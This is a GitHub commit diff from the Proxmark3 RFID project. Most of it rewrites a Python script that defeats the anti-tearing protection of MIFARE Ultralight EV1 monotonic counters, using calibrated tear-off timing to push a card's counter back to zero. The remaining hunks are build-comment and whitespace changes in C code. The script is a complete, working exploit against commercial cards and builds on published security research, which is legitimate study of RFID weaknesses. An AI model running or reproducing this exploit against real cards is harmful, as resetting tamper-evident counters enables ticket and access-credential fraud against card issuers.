Merge branch 'RfidResearchGroup:master' into feature/hrt_parser

This commit is contained in:
Sanduuz authored and GitHub committed 2026-06-24 19:14:04 +03:00
commit e3ddd6a833
25 files changed
+1637 -437

No files matched your search

+2 -2
View File
@@ -23,8 +23,8 @@
# On ProxSpace 3.4:
# cmake -G"MSYS Makefiles" ..
# On Proxspace 3.3 or less, you need to install cmake:
# pacman -S mingw-w64-x86_64-cmake
# /mingw64/bin/cmake -G"MSYS Makefiles" ..
# pacman -S mingw-w64-ucrt-x86_64-cmake
# /ucrt64/bin/cmake -G"MSYS Makefiles" ..
#
# Android cross-compilation: (ANDROID_ABI=arm64-v8a for a 64b version)
# cmake \
+2 -2
View File
@@ -23,8 +23,8 @@
# On ProxSpace 3.4:
# cmake -G"MSYS Makefiles" ..
# On Proxspace 3.3 or less, you need to install cmake:
# pacman -S mingw-w64-x86_64-cmake
# /mingw64/bin/cmake -G"MSYS Makefiles" ..
# pacman -S mingw-w64-ucrt-x86_64-cmake
# /ucrt64/bin/cmake -G"MSYS Makefiles" ..
#
# Android cross-compilation: (ANDROID_ABI=arm64-v8a for a 64b version)
# cmake \
+569 -171
View File
@@ -1,5 +1,4 @@
#!/usr/bin/env python3
#-----------------------------------------------------------------------------
# Copyright (C) Proxmark3 contributors. See AUTHORS.md for details.
#
@@ -8,217 +7,616 @@
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# See LICENSE.txt for the text of the license.
#-----------------------------------------------------------------------------
# This script bypasses the Anti-Tearing protection on MIFARE Ultralight EV1 monotonic counters and allows resetting the counter value
# Script version: 1.0.0
# Bypass Anti-Tearing on MIFARE Ultralight EV1 monotonic counters (tear-off).
# Script version: 2.0.0
# Created by W0rthlessS0ul (https://github.com/W0rthlessS0ul)
# Based on Quarkslab research: https://blog.quarkslab.com/rfid-monotonic-counter-anti-tearing-defeated.html
# Updated by M35MAR (https://github.com/M35mar)
#-----------------------------------------------------------------------------
import argparse
import sys
import os
import re
import sys
import threading
import time
import pm3
try:
from colors import color
except ModuleNotFoundError:
def color(s, fg=None):
def color(text, fg=None):
_ = fg
return str(s)
return str(text)
PROGRAM_NAME = os.path.basename(sys.argv[0])
# Known EV1 limits / artifacts
COUNTER_MAX = 0xFFFFFF
COUNTER_PREPARE_TARGET = 0x00FFFF
TEAR_STUCK_VALUE = 6 # counter may be read as 6 after a failed tear
# Calibration and delay tuning
DELAY_BD_MIN = 2700
DELAY_BD_MAX = 5000
CAL_STEP_US = 5
DELAY_00_OFFSET = 10 # delay_00 = BD - this offset
DELAY_TUNE_STEP = 1
DELAY_TUNE_JUMP = 10
RETRY_COUNT = 3
RETRY_SLEEP_S = 0.2
TEAR_REPAIR_ATTEMPTS = 5
ANSI_ESCAPE = re.compile(r"\x1b\[[0-9;]*m")
PM3_PAYLOAD_RE = re.compile(r"\[\+\]\s+([^\n\[]+)")
NACK_BYTES = frozenset({"04", "05", "06", "0A", "0a"})
p = pm3.pm3()
ProgramName = os.path.basename(sys.argv[0])
attempt = 0
byte = 1
parser = argparse.ArgumentParser(
formatter_class=argparse.RawTextHelpFormatter,
prog=color(f"\n script run {ProgramName}", "red"),
epilog=color(f"examples:\n", "green") + color(f" script run {ProgramName} -c 0\n script run {ProgramName} -c 0 -i 25\n script run {ProgramName} -c 0 -i 25 -f True\n script run {ProgramName} -c 0 -i 25 -f True --BD 2350 --00 225", "yellow")
def build_parser():
parser = argparse.ArgumentParser(
formatter_class=argparse.RawTextHelpFormatter,
prog=color(f"\n script run {PROGRAM_NAME}", "red"),
epilog=(
color("examples:\n", "green")
+ color(
f" script run {PROGRAM_NAME} -c 0\n"
f" script run {PROGRAM_NAME} -c 0 -f\n"
f" script run {PROGRAM_NAME} -c 0 --DelayBD 2720 --Delay00 2705",
"yellow",
)
),
)
parser.add_argument('-c', '--cnt', metavar='', type=str, default='0', help='Counter index')
parser.add_argument('-i', '--inc', metavar='', type=int, default=25, help='Increase time steps')
parser.add_argument('-f', '--force', metavar='', type=bool, help='Force start without checking')
parser.add_argument('--DelayBD', metavar='', type=int, help='Manual adjustment of BD delay (disables auto-configuring)')
parser.add_argument('--Delay00', metavar='', type=int, help='Manual adjustment of 00 delay (disables auto-configuring)')
parser.add_argument("-c", "--cnt", metavar="", default="0", help="Counter index (0-2)")
parser.add_argument("-f", "--force", action="store_true", help="Skip pre-flight checks")
parser.add_argument("--DelayBD", metavar="", type=int, help="Manual BD delay (us, disables auto-calibration)")
parser.add_argument("--Delay00", metavar="", type=int, help="Manual 00 delay (us)")
return parser
if '-h' in sys.argv or '--help' in sys.argv:
def print_help(parser):
help_text = parser.format_help()
help_text = help_text.replace("usage:", f"\n{color('Counter reset of Mifare UL EV1 cards', 'cyan')}\n\nusage:")
help_text = help_text.replace("options:", color("options:", "green")).replace("usage:", color("usage:", "green"))
help_text = help_text.replace(
"usage:",
f"\n{color('Counter reset of Mifare UL EV1 cards', 'cyan')}\n\nusage:",
)
help_text = help_text.replace("options:", color("options:", "green")).replace(
"usage:", color("usage:", "green")
)
print(help_text)
sys.exit(0)
args = parser.parse_args()
counter_number = args.cnt
def strip_ansi(text: str) -> str:
return ANSI_ESCAPE.sub("", str(text))
def read_counter(counter_numb):
p.console(f"hf 14a raw -s -c 39 0{counter_numb}", capture=True)
counter = str(p.grabbed_output).split(" [ ")[0].replace("[+] ", "").replace(" ", "").lower()
counter_bytes = bytes.fromhex(counter)
counter_int = int.from_bytes(counter_bytes, byteorder='little')
return counter, counter_int
def enable_tearoff(delay):
p.console(f"hw tearoff --delay {delay}")
p.console("hw tearoff --on", capture=True)
if str(p.grabbed_output).find("enabled") >= 0:
return True
return False
def extract_pm3_payload(output: str) -> str:
"""Return hex bytes from the last Proxmark3 [+] line, before the CRC bracket."""
clean = strip_ansi(output)
matches = PM3_PAYLOAD_RE.findall(clean)
if not matches:
return ""
line = matches[-1].strip()
if " [" in line:
line = line.split(" [ ", 1)[0]
return line.strip()
def incr_cnt(counter_numb, StrBytes):
p.console(f"hf 14a raw -s -c A5 0{counter_numb} {StrBytes} 00")
p.grabbed_output
def check_tearing_event(counter_numb):
p.console(f"hf 14a raw -s -c 3E 0{counter_numb}", capture=True)
tearing = str(p.grabbed_output).split("[+] ")[1].split(" [ ")[0].replace("\n", "").split(" ")[0]
if tearing == "BD":
return True, tearing
return False, tearing
def format_counter_hex(counter_int: int) -> str:
return counter_int.to_bytes(3, byteorder="little").hex()
def int_to_incr_bytes(value: int) -> str:
"""Return 6 hex chars, little-endian (LSB first) for INCR_CNT."""
return value.to_bytes(3, byteorder="little").hex()
def run_pm3(cmd: str, *, capture: bool = True) -> str:
p.console(cmd, capture=capture, quiet=True)
return strip_ansi(str(p.grabbed_output))
def wake_card() -> None:
run_pm3("hf 14a reader")
def parse_counter_output(output: str):
payload = extract_pm3_payload(output)
if not payload:
return None, None
parts = payload.split()
if len(parts) == 1:
# Single-byte reply is usually a NACK, not a 24-bit counter.
if parts[0] in NACK_BYTES:
return None, None
return None, None
if len(parts) < 3:
return None, None
def some_tests(counter_numb):
try:
p.console(f"hf 14a raw -s -c 60", capture=True)
info = str(p.grabbed_output).split("[+] ")[1].split(" [ ")[0].replace("\n", "").split(" ")
if info[4] != "01":
print(f"[{color('!', 'red')}] Support only EV1 versions")
return False
except:
counter_bytes = bytes(int(part, 16) for part in parts[:3])
except ValueError:
return None, None
counter_int = int.from_bytes(counter_bytes, byteorder="little")
return format_counter_hex(counter_int), counter_int
def parse_tearing_output(output: str):
payload = extract_pm3_payload(output)
if not payload:
return False, "?"
tearing = payload.split()[0].upper()
return tearing == "BD", tearing
def read_counter(counter_index: str):
for _ in range(RETRY_COUNT):
output = run_pm3(f"hf 14a raw -s -c 39 0{counter_index}")
counter_hex, counter_int = parse_counter_output(output)
if counter_hex is not None:
return counter_hex, counter_int
wake_card()
time.sleep(RETRY_SLEEP_S)
return None, None
def check_tearing_event(counter_index: str):
for _ in range(RETRY_COUNT):
output = run_pm3(f"hf 14a raw -s -c 3E 0{counter_index}")
try:
return parse_tearing_output(output)
except (IndexError, ValueError):
time.sleep(RETRY_SLEEP_S)
return False, "?"
def enable_tearoff(delay_us: int) -> bool:
run_pm3(f"hw tearoff --delay {delay_us}")
output = run_pm3("hw tearoff --on")
return "enabled" in output.lower()
def disable_tearoff() -> None:
run_pm3("hw tearoff --off")
def incr_cnt(counter_index: str, payload_hex: str) -> None:
run_pm3(f"hf 14a raw -s -c A5 0{counter_index} {payload_hex} 00")
def repair_tear_flag(counter_index: str) -> bool:
wake_card()
for _ in range(TEAR_REPAIR_ATTEMPTS):
_, tearing = check_tearing_event(counter_index)
if tearing in ("00", "BD"):
return True
incr_cnt(counter_index, "000000")
incr_cnt(counter_index, "000000")
time.sleep(RETRY_SLEEP_S)
print(f"[{color('!', 'yellow')}] Attempting tear-off repair...")
enable_tearoff(2950)
incr_cnt(counter_index, "010000")
time.sleep(RETRY_SLEEP_S)
wake_card()
_, tearing = check_tearing_event(counter_index)
return tearing in ("00", "BD")
def normalize_tear_flag(counter_index: str) -> None:
for _ in range(TEAR_REPAIR_ATTEMPTS * 2):
if check_tearing_event(counter_index)[1] in ("00", "BD"):
return
incr_cnt(counter_index, "000000")
def run_decrement_step(counter_index: str, delay_bd: int, delay_00: int) -> None:
enable_tearoff(delay_bd)
incr_cnt(counter_index, "000100")
enable_tearoff(delay_00)
incr_cnt(counter_index, "000000")
enable_tearoff(delay_bd)
incr_cnt(counter_index, "000000")
enable_tearoff(delay_00)
incr_cnt(counter_index, "000000")
normalize_tear_flag(counter_index)
def run_reset_step(counter_index: str, delay_bd: int, delay_00: int) -> None:
enable_tearoff(delay_bd)
incr_cnt(counter_index, "010000")
enable_tearoff(delay_00)
incr_cnt(counter_index, "000000")
normalize_tear_flag(counter_index)
def tune_delay(delay_bd: int, previous_counter: int, current_counter: int, locked: bool) -> int:
if locked:
return delay_bd
if current_counter == previous_counter:
return delay_bd + DELAY_TUNE_STEP
if current_counter - previous_counter > DELAY_TUNE_JUMP:
return max(DELAY_BD_MIN, delay_bd - DELAY_TUNE_STEP)
return delay_bd
def is_ev1_card() -> bool:
wake_card()
output = run_pm3("hf 14a raw -s -c 60")
payload = extract_pm3_payload(output)
parts = payload.split()
if len(parts) >= 5 and parts[4].upper() == "01":
return True
info_output = run_pm3("hf mfu info").lower()
return any(
marker in info_output
for marker in (
"ul ev1",
"ultralight ev1",
"ul-ev1",
"major version: 01",
"mfu ev1",
)
)
def preflight_checks(counter_index: str) -> bool:
wake_card()
if not is_ev1_card():
print(f"[{color('!', 'red')}] Support only Mifare UL EV1 cards")
return False
tearing = check_tearing_event(counter_number)[1]
if tearing != "00" and tearing != "BD":
print(f"[{color('!', 'red')}] Looks like you're card doesn't support CHECK_TEARING_EVENT")
if not repair_tear_flag(counter_index):
_, tearing = check_tearing_event(counter_index)
print(f"[{color('!', 'red')}] Could not repair tear flag (got 0x{tearing})")
return False
counter_str, counter = read_counter(counter_number)
if counter == 16777215:
print(f"[{color('!', 'red')}] The counter value is at its maximum, it cannot be reset")
return False
elif counter == 0:
print(f"[{color('!', 'red')}] The counter value is already at the minimum level")
_, tearing = check_tearing_event(counter_index)
if tearing not in ("00", "BD"):
print(f"[{color('!', 'red')}] Card does not support CHECK_TEARING_EVENT")
return False
if counter_str[:4] == "0000":
print(f"\n[{color('+', 'green')}] First two bytes set to 00, skip")
byte = 3
elif counter_str[:2] == "00":
print(f"\n[{color('+', 'green')}] First byte set to 00, skip")
byte = 2
_, counter = read_counter(counter_index)
if counter is None:
print(f"[{color('!', 'red')}] Cannot read initial counter")
return False
if counter == COUNTER_MAX:
print(f"[{color('!', 'red')}] Counter is at maximum (0x{COUNTER_MAX:06X}), cannot reset")
return False
if counter == 0:
print(f"[{color('!', 'red')}] Counter is already at minimum (0)")
return False
print(
f"[{color('*', 'blue')}] Counter {counter_index}: "
f"{counter} (0x{format_counter_hex(counter).upper()}) | Tear: 0x{tearing}"
)
return True
class StopListener:
def __init__(self):
self._stop = False
self._thread = threading.Thread(target=self._run, daemon=True)
@property
def stopped(self) -> bool:
return self._stop
def start(self) -> None:
self._thread.start()
def stop(self) -> None:
self._stop = True
self._thread.join(timeout=1)
def _run(self) -> None:
if os.name == "nt":
import msvcrt
while not self._stop:
if msvcrt.kbhit() and msvcrt.getch() == b"\r":
self._stop = True
time.sleep(0.1)
return
import select
while not self._stop:
if select.select([sys.stdin], [], [], 0.1)[0] and sys.stdin.readline():
self._stop = True
def calibrate_bd_delay(counter_index: str, stop: StopListener):
"""Return (delay_bd, delay_00) where delay_00 = delay_bd - 15 (fixed offset)."""
best_bd = None
for delay_bd in range(DELAY_BD_MIN, DELAY_BD_MAX, CAL_STEP_US):
if stop.stopped:
return best_bd, None
initial_hex, initial_int = read_counter(counter_index)
if initial_hex is None:
repair_tear_flag(counter_index)
continue
enable_tearoff(delay_bd)
incr_cnt(counter_index, "000000")
check_tearing, tear_flag = check_tearing_event(counter_index)
incr_cnt(counter_index, "000000")
incr_cnt(counter_index, "000000")
final_hex, final_int = read_counter(counter_index)
if final_hex is None:
repair_tear_flag(counter_index)
continue
tear_color = "green" if check_tearing else "red"
stable = final_int == initial_int
print(
f"\r[{color('=', 'goldenrod')}] Testing delay: {color(delay_bd, 'yellow')} us | "
f"Check tearing: {color(tear_flag, tear_color)} | "
f"Counter: {color(initial_hex.upper(), 'yellow')} -> {color(final_hex.upper(), 'yellow')}",
end="",
flush=True,
)
if check_tearing:
best_bd = delay_bd
if stable:
print(f"\n[{color('+', 'green')}] Working BD delay: {color(delay_bd, 'green')} us")
delay_00 = max(DELAY_BD_MIN, delay_bd - DELAY_00_OFFSET)
return delay_bd, delay_00
if best_bd is not None:
print(
f"\n[{color('!', 'yellow')}] Counter drift during calibration; "
f"using last BD delay: {color(best_bd, 'green')} us"
)
delay_00 = max(DELAY_BD_MIN, best_bd - DELAY_00_OFFSET)
return best_bd, delay_00
print(f"\n[{color('!', 'red')}] Auto-calibration failed; try manual --DelayBD 2720")
return None, None
def attack_loop(counter_index: str, delay_bd: int, delay_00: int, stop: StopListener) -> bool:
phase = "decrement"
attempt = 0
reset_attempts = 0
delay_locked = False
_, baseline_counter = read_counter(counter_index)
if baseline_counter is None:
baseline_counter = 0
tune_reference = baseline_counter
reset_reference = baseline_counter
while not stop.stopped:
counter_hex, counter_int = read_counter(counter_index)
if counter_hex is None:
repair_tear_flag(counter_index)
time.sleep(0.2)
continue
if counter_int == 0:
print("\n[+] Exploit successful")
return True
if counter_int == TEAR_STUCK_VALUE:
repair_tear_flag(counter_index)
continue
if phase == "decrement":
if counter_int <= COUNTER_PREPARE_TARGET and counter_int != TEAR_STUCK_VALUE:
print("\n[=] Switching to PREPARE phase (counter <= 0x00FFFF)")
incr_cnt(counter_index, "000000")
time.sleep(0.2)
incr_cnt(counter_index, "000000")
phase = "prepare"
reset_reference = counter_int
continue
initial_hex, initial_int = counter_hex, counter_int
run_decrement_step(counter_index, delay_bd, delay_00)
if stop.stopped:
break
final_hex, final_int = read_counter(counter_index)
if final_hex is None:
continue
if final_int == TEAR_STUCK_VALUE:
continue
_, tear_flag = check_tearing_event(counter_index)
attempt += 1
print(
f"\r[{color('DEC', 'red')}] Att {attempt} | BD/00: {delay_bd}/{delay_00} us | "
f"Tear: {tear_flag} | {initial_hex.upper()} -> {final_hex.upper()} ",
end="",
flush=True,
)
if final_int < initial_int and final_int != TEAR_STUCK_VALUE:
print(
f"\n[{color('+', 'green')}] Decrement! {initial_hex.upper()} -> "
f"{final_hex.upper()} (delta {initial_int - final_int})"
)
# Consolidate the drop
incr_cnt(counter_index, "000000")
time.sleep(0.2)
incr_cnt(counter_index, "000000")
normalize_tear_flag(counter_index)
delay_locked = True
tune_reference = final_int
continue
# Tuning logic
if final_int > initial_int:
if delay_locked:
delay_locked = False
tune_reference = final_int
else:
new_delay = tune_delay(delay_bd, tune_reference, final_int, False)
if new_delay != delay_bd:
delay_bd = new_delay
# delay_00 is intentionally left unchanged
tune_reference = final_int
else:
if not delay_locked:
new_delay = tune_delay(delay_bd, tune_reference, final_int, False)
if new_delay != delay_bd:
delay_bd = new_delay
tune_reference = final_int
elif phase == "prepare":
if counter_int < COUNTER_PREPARE_TARGET and counter_int != TEAR_STUCK_VALUE:
diff = COUNTER_PREPARE_TARGET - counter_int
diff_hex = int_to_incr_bytes(diff)
print(
f"\r[{color('PREPARE', 'yellow')}] Incrementing by {diff} to reach 0x{COUNTER_PREPARE_TARGET:06X}...",
end="",
flush=True,
)
incr_cnt(counter_index, diff_hex)
incr_cnt(counter_index, "000000")
continue
if counter_int == COUNTER_PREPARE_TARGET:
print(f"\n[=] Counter at 0x{COUNTER_PREPARE_TARGET:06X}, switching to RESET phase")
phase = "reset"
reset_attempts = 0
reset_reference = COUNTER_PREPARE_TARGET
delay_locked = False
continue
phase = "decrement"
continue
elif phase == "reset":
initial_hex, initial_int = counter_hex, counter_int
run_reset_step(counter_index, delay_bd, delay_00)
if stop.stopped:
break
final_hex, final_int = read_counter(counter_index)
if final_hex is None:
continue
if final_int == TEAR_STUCK_VALUE:
continue
reset_attempts += 1
print(
f"\r[{color('RESET', 'green')}] Att {reset_attempts} | BD/00: {delay_bd}/{delay_00} us | "
f"{initial_hex.upper()} -> {final_hex.upper()} ",
end="",
flush=True,
)
if final_int == 0:
print(f"\n[+] {color('Exploit successful', 'green')}")
return True
if final_int > COUNTER_PREPARE_TARGET:
print("\n[=] Counter increased, returning to DECREMENT")
phase = "decrement"
tune_reference = final_int
delay_locked = False
continue
if final_int == initial_int:
new_delay = tune_delay(delay_bd, reset_reference, final_int, False)
if new_delay != delay_bd:
delay_bd = new_delay
reset_reference = final_int
elif final_int < initial_int:
print(f"\n[{color('+', 'green')}] Reset decrement! {initial_hex} -> {final_hex}")
delay_locked = True
reset_reference = final_int
# else final_int slightly higher but still within range – ignore
return False
def main():
print(color("Attack against the monotonic counters of MFU EV1 using the tear-off technique.", "cyan"))
print(
color(
"Note: If the counter does not reset after a few attempts, increment it to 2^n and retry.",
"cyan",
)
)
print()
if not args.force and not preflight_checks(args.cnt):
print(
f"[{color('?', 'goldenrod')}] Try `{color(f'script run {PROGRAM_NAME} -f', 'goldenrod')}` "
"if this is a false negative"
)
return 1
stop = StopListener()
stop.start()
success = False
try:
if args.DelayBD is None:
result = calibrate_bd_delay(args.cnt, stop)
if result[0] is None:
return 1
delay_bd, delay_00 = result
else:
delay_bd = args.DelayBD
delay_00 = args.Delay00 if args.Delay00 is not None else delay_bd - DELAY_00_OFFSET
print(f"[{color('+', 'green')}] Using manual BD delay: {color(delay_bd, 'green')} us")
if args.Delay00 is not None:
print(f"[{color('+', 'green')}] Using manual 00 delay: {color(delay_00, 'green')} us")
if stop.stopped:
print("\n[x] Interrupted by user.")
return 0
success = attack_loop(args.cnt, delay_bd, delay_00, stop)
if success:
return 0
if stop.stopped:
print("\n[x] Interrupted by user.")
return 0
return 1
finally:
stop.stop()
disable_tearoff()
sys.stdout.flush()
if __name__ == "__main__":
if not args.force and not some_tests(counter_number):
print(f"[{color('?', 'goldenrod')}] Try `{color(f'script run {ProgramName} -f True', 'goldenrod')}` if this is a script bug", end="")
parser = build_parser()
if "-h" in sys.argv or "--help" in sys.argv:
print_help(parser)
sys.exit(0)
if args.DelayBD == None:
for Delay_BD in range(1000, 5000, args.inc):
initial_counter_str, initial_counter_int = read_counter(counter_number)
enable_tearoff(Delay_BD)
incr_cnt(counter_number, "010000")
check_tearing, check_tearing_clear = check_tearing_event(counter_number)
final_counter_str, final_counter_int = read_counter(counter_number)
print(f"\r[{color('=', 'goldenrod')}] Testing delay: {color(Delay_BD, 'yellow')} us | Check tearing: {color(check_tearing_clear, 'red') if not check_tearing else color(check_tearing_clear, 'green')} | Counter: {color(final_counter_str.upper(), 'yellow')}", end="", flush=True)
if final_counter_int > initial_counter_int and check_tearing:
print(f"\n[{color('+', 'green')}] Work delay for BD: {color(Delay_BD, 'green')} us")
break
else:
Delay_BD = args.DelayBD
print(f"[{color('+', 'green')}] Work delay for BD: {color(Delay_BD, 'green')} us")
if args.Delay00 == None:
for Delay_00 in range(100, 1000, args.inc):
initial_counter_str, initial_counter_int = read_counter(counter_number)
enable_tearoff(Delay_00)
incr_cnt(counter_number, "000000")
check_tearing, check_tearing_clear = check_tearing_event(counter_number)
final_counter_str, final_counter_int = read_counter(counter_number)
print(f"\r[{color('=', 'goldenrod')}] Testing delay: {color(Delay_00, 'yellow')} us | Check tearing: {color(check_tearing_clear, 'green') if not check_tearing else color(check_tearing_clear, 'red')} | Counter: {color(final_counter_str.upper(), 'yellow')}", end="", flush=True)
if not check_tearing:
print(f"\n[{color('+', 'green')}] Work delay for 00: {color(Delay_00, 'green')} us")
incr_cnt(counter_number, "000000")
break
else:
Delay_00 = args.Delay00
print(f"[{color('+', 'green')}] Work delay for 00: {color(Delay_00, 'green')} us")
args = parser.parse_args()
constant_counter_int = read_counter(counter_number)[1]
while True:
initial_counter_str, initial_counter_int = read_counter(counter_number)
enable_tearoff(Delay_BD)
match byte:
case 1:
incr_cnt(counter_number, "010000")
case 2:
incr_cnt(counter_number, "000100")
case 3:
incr_cnt(counter_number, "000001")
enable_tearoff(Delay_00)
incr_cnt(counter_number, "000000")
final_counter_str, final_counter_int = read_counter(counter_number)
check_tearing, check_tearing_clear = check_tearing_event(counter_number)
attempt+=1
print(f"\r[{color('=', 'goldenrod')}] Attempt: {color(attempt, 'green')} | Delay BD/00: {color(Delay_BD, 'yellow')}/{color(Delay_00, 'yellow')} us | Check tearing: {color(check_tearing_clear, 'yellow')} | Counter changing: {color(initial_counter_str.upper(), 'red') if initial_counter_int <= final_counter_int else color(initial_counter_str.upper(), 'green')}==>{color(final_counter_str.upper(), 'red') if initial_counter_int <= final_counter_int else color(final_counter_str.upper(), 'green')}", end="", flush=True)
if attempt % 20 == 0 and constant_counter_int == final_counter_int:
Delay_BD+=5
constant_counter_int = final_counter_int
print(f"\n[{color('=', 'goldenrod')}] BD delay increased {color(Delay_BD, 'green')}")
elif attempt % 20 == 0 and final_counter_int - constant_counter_int > 10:
Delay_BD-=5
constant_counter_int = final_counter_int
print(f"\n[{color('=', 'goldenrod')}] BD delay reduced {color(Delay_BD, 'red')}")
if attempt % 5 == 0 and check_tearing:
Delay_00+=5
print(f"\n[{color('=', 'goldenrod')}] 00 delay increased {color(Delay_00, 'green')}")
if attempt % 20 == 0: constant_counter_int = final_counter_int
if final_counter_int < initial_counter_int and final_counter_str[:2] == "00" and byte == 1:
if final_counter_str[-4:] == "0000":
print(f"\n[{color('+', 'green')}] Exploit successfull, all byte set to 00")
byte = 4
elif final_counter_str[-4:][:2] == "00":
print(f"\n[{color('+', 'green')}] Exploit successfull, first two bytes set to 00")
byte = 3
else:
print(f"\n[{color('+', 'green')}] Exploit successfull, first byte set to 00")
byte = 2
elif final_counter_int < initial_counter_int and final_counter_str[-4:][:2] == "00" and byte == 2:
if final_counter_str[-2:] == "00":
print(f"\n[{color('+', 'green')}] Exploit successfull, all byte set to 00")
byte = 4
else:
print(f"\n[{color('+', 'green')}] Exploit successfull, second byte set to 00")
byte = 3
elif final_counter_int < initial_counter_int and final_counter_str[-2:] == "00" and byte == 3:
print(f"\n[{color('+', 'green')}] Exploit successfull, third byte set to 00")
byte = 4
if byte == 4:
check_tearing, check_tearing_clear = check_tearing_event(counter_number)
if not check_tearing:
print(f"\n[{color('#', 'blue')}] Check tearing: {color(check_tearing_clear, 'red')}\n[{color('=', 'goldenrod')}] Copying slot A to B")
while not check_tearing:
check_tearing, check_tearing_clear = check_tearing_event(counter_number)
incr_cnt(counter_number, "000000")
print(f"[{color('+', 'green')}] Check tearing: {color(check_tearing_clear, 'green')}")
print(f"\n[{color('+', 'green')}] Exploit successfull\n[{color('=', 'goldenrod')}] - Initial counter: {initial_counter_str.upper()}\n[{color('=', 'goldenrod')}] - Final counter: {color(final_counter_str.upper(), 'green')}\n[{color('=', 'goldenrod')}] - Counter changing: {initial_counter_int - final_counter_int}\n[{color('=', 'goldenrod')}] - Check tearing: {color(check_tearing_clear, 'green')}", end="")
sys.exit(0)
try:
sys.exit(main())
except KeyboardInterrupt:
disable_tearoff()
print("\n[x] Interrupted.")
sys.exit(0)
except Exception as exc:
disable_tearoff()
print(f"\n[x] Error: {exc}")
raise
+14 -11
View File
@@ -1302,9 +1302,9 @@ static int reader_single_tag(bool fast, bool loop, uint8_t *afi_buf, int afi_len
uint16_t raw_len = 0;
raw_cmd[raw_len] = ISO15_REQ_SUBCARRIER_SINGLE
| ISO15_REQ_DATARATE_HIGH
| ISO15_REQ_INVENTORY
| ISO15_REQINV_SLOT1;
| ISO15_REQ_DATARATE_HIGH
| ISO15_REQ_INVENTORY
| ISO15_REQINV_SLOT1;
if (afi_len > 0)
raw_cmd[raw_len] |= ISO15_REQINV_AFI;
raw_len++;
@@ -1374,9 +1374,12 @@ static void iso15_render_presence_table(const iso15_seen_tag_t *seen, int n,
const char *c_off = g_session.supports_colors ? "\x1b[0m" : "";
int lines = 0;
printf("hf 15 --all present %d / %d " _GREEN_("<Enter>") " to exit", present, n); lines++;
printf("\n%3s %-25s %-5s %s", "#", "UID", "DSFID", "status"); lines++;
printf("\n%3s %-25s %-5s %s", "---", "-------------------------", "-----", "----------------"); lines++;
printf("hf 15 --all present %d / %d " _GREEN_("<Enter>") " to exit", present, n);
lines++;
printf("\n%3s %-25s %-5s %s", "#", "UID", "DSFID", "status");
lines++;
printf("\n%3s %-25s %-5s %s", "---", "-------------------------", "-----", "----------------");
lines++;
for (int i = 0; i < n; i++) {
if (seen[i].present) {
printf("\n%3d %-25s %02X %spresent%s",
@@ -1400,9 +1403,9 @@ static int reader_inventory_all(bool fast, bool loop, uint8_t *afi_buf, int afi_
uint8_t mask_len; // in bits
} inventory_work_item_t;
#define MAX_WORK_ITEMS 256
#define MAX_FOUND_TAGS 64
#define MAX_SEEN_TAGS 128
#define MAX_WORK_ITEMS 256
#define MAX_FOUND_TAGS 64
#define MAX_SEEN_TAGS 128
// Persistent across scans in continuous (-@) mode: every UID seen this session.
iso15_seen_tag_t seen[MAX_SEEN_TAGS];
@@ -1433,8 +1436,8 @@ static int reader_inventory_all(bool fast, bool loop, uint8_t *afi_buf, int afi_
uint16_t raw_len = 0;
raw_cmd[raw_len] = ISO15_REQ_SUBCARRIER_SINGLE
| ISO15_REQ_DATARATE_HIGH
| ISO15_REQ_INVENTORY;
| ISO15_REQ_DATARATE_HIGH
| ISO15_REQ_INVENTORY;
// 16-slot: do NOT set ISO15_REQINV_SLOT1
if (afi_len > 0)
raw_cmd[raw_len] |= ISO15_REQINV_AFI;
+11 -11
View File
@@ -1251,7 +1251,7 @@ static int felica_request_service_key_versions(uint8_t flags, const uint8_t *idm
uint8_t data[1 + 1 + 8 + 1 + (FELICA_REQUEST_SERVICE_DISCOVERY_BATCH_SIZE * 2)] = {0};
uint16_t datalen = 0;
int ret = felica_build_request_service_payload(FELICA_REQSRV_REQ, idm, node_codes_le, node_count,
data, sizeof(data), &datalen);
data, sizeof(data), &datalen);
if (ret != PM3_SUCCESS) {
return ret;
}
@@ -1306,7 +1306,7 @@ static int felica_request_service_v2_key_versions(uint8_t flags, const uint8_t *
uint8_t data[1 + 1 + 8 + 1 + (FELICA_REQUEST_SERVICE_DISCOVERY_BATCH_SIZE * 2)] = {0};
uint16_t datalen = 0;
int ret = felica_build_request_service_payload(FELICA_REQSRV2_REQ, idm, node_codes_le, node_count,
data, sizeof(data), &datalen);
data, sizeof(data), &datalen);
if (ret != PM3_SUCCESS) {
return ret;
}
@@ -1357,14 +1357,14 @@ static int felica_request_service_v2_key_versions(uint8_t flags, const uint8_t *
for (size_t i = 0; i < returned_nodes; i++) {
key_versions_out->aes_key_versions_le[i] = (uint16_t)resp.data.asBytes[offset + i * 2] |
((uint16_t)resp.data.asBytes[offset + i * 2 + 1] << 8);
((uint16_t)resp.data.asBytes[offset + i * 2 + 1] << 8);
}
offset += aes_bytes;
if (has_des_key_versions) {
for (size_t i = 0; i < returned_nodes; i++) {
key_versions_out->des_key_versions_le[i] = (uint16_t)resp.data.asBytes[offset + i * 2] |
((uint16_t)resp.data.asBytes[offset + i * 2 + 1] << 8);
((uint16_t)resp.data.asBytes[offset + i * 2 + 1] << 8);
}
}
@@ -3564,7 +3564,7 @@ static bool felica_discover_nodes_with_read_without_encryption(uint8_t *flags,
uint32_t *discovered_count,
int *stop_status) {
return felica_discover_nodes_with_read_without_encryption_ex(flags, idm, retry_count, NULL,
visitor, ctx, discovered_count, stop_status);
visitor, ctx, discovered_count, stop_status);
}
static const char *felica_node_discovery_method_cli_name(felica_node_discovery_method_t method) {
@@ -3629,7 +3629,7 @@ static int felica_discover_nodes(const uint8_t *idm,
bool discovered = false;
if (info->method == FELICA_NODE_DISCOVERY_READ_WITHOUT_ENCRYPTION) {
discovered = felica_discover_nodes_with_read_without_encryption_ex(flags, idm, retry_count, pmm,
visitor, ctx, &discovered_count, &stop_status);
visitor, ctx, &discovered_count, &stop_status);
} else {
discovered = info->run(flags, idm, retry_count, visitor, ctx, &discovered_count, &stop_status);
}
@@ -4291,7 +4291,7 @@ static int felica_dump_collect_key_versions_v2(felica_dump_system_t *system, uin
felica_request_service_v2_key_versions_t versions;
int ret = felica_request_service_v2_key_versions(flags, system->idm, batch_codes, batch_count,
retry_count, &versions);
retry_count, &versions);
if (ret != PM3_SUCCESS) {
return ret;
}
